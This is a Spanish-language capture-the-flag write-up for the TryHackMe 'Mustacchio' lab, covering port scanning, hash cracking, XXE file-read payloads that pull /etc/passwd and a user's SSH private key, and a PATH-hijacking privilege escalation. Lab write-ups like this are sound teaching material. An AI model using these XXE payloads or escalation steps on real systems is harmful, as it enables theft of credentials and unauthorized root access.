Mustacchio Writeup - Try-Hack-Me
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-11 20:34 EST
Nmap scan report for 10.10.163.196
Host is up (0.23s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| 256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_ 256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Mustacchio | Home
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.04 seconds
tenemos un archivo robots.txt
Ports: 22/ssh - 80/http - 8765/http
Enumeracion del puerto 80
parece que no hay mucha cosa interesante veamos el archivo robots.txt
parece que el archivo esta vacio
gobuster
gobuster nos certifica que existe el archivo robots.txt aparte de esto de todos los subdirectorios el mas llamativo es custom
subdirectorio custom/js
el archivo users.bak lo podemos descargar
parece que tenemos un usuario admin con un hash asi que vamos a decodearlo
usamos hashid para identificar el hash
buscamos un decoder de hash SHA-1
tenemos un usuario y ahora una pass
iniciamos session cn el panel de login
parece que el panel de comandos no es vulnerable a reverse shell ni inyeccion sql
miramos el codigo fuente
parece que aqui nos dejan una pista asi que vamos a mirar este subdirectorio
se nos descarga un archivo automaticamente y lo abrimos con strings
parece que tenemos un archivo xml
xml inyection
usaremos esta xml inyeccion para intentar mirar el etc/passwd
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&test; </com>
</comment>
perfecto tenemos respuesta. vemos que existe un usuario llamado barry. vamos a intentar consegui su id_rsa modificando la ruta en el xml
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&test; </com>
</comment>
tenemos la id_rsa de barry
para poder copiar la id_rsa de una mejor podemos hacer Ctrl + u para ver el codigo fuente
puerto 22/ssh
![[Pasted image 20231212002530.png]]
intentamos conectarnos por ssh pero necesitamos otorgar permisos de lectura. esto lo hacemos con el comando chmod luego intentamos ingresar pero al parecer la id_rsa necesita una clave asi que vamos a conseguirla
con estos pasos podemos conseguir el hash de la id_rsa y lo enviamos a un archivo llamado id_hash como se ve en la imagen, hacemos un cat para asegurarnos que el archivo id_hash contenga el hash
usaremos la herramienta john para decodear el hash
ahora tenemos la palabra clave que necesita la id_rsa asi que intentemos entrar por ssh de nuevo
Port 22/ssh
perfecto estamos dentro y somos el usuario barry
Escalada de privilegios
navegando por la maquina nos hemos encontrado otro usuario el cual tiene un archivo muy interesante, si hacemos cat no podemos ver nada pero si hacemos strings…..
miramos los permisos del archivo
el archivo parece pertenecer al usuario root pero (otros) tienen permisos de ejecución
vamos a aprovecharnos de la variable tail para poder escalar privilegios
primero vamos al directorio /tmp vamos a crear un nuevo archivo que se llame tail y vamos a cambiar los permisos de la bash con el siguiente comando guardamos el archivo
$PATH hijacking
1
export PATH=/tmp:$PATH
agregamos la ruta en la que se encuentra nuestro archivo para que el $PATH la tome en cuenta cuando haga un llamado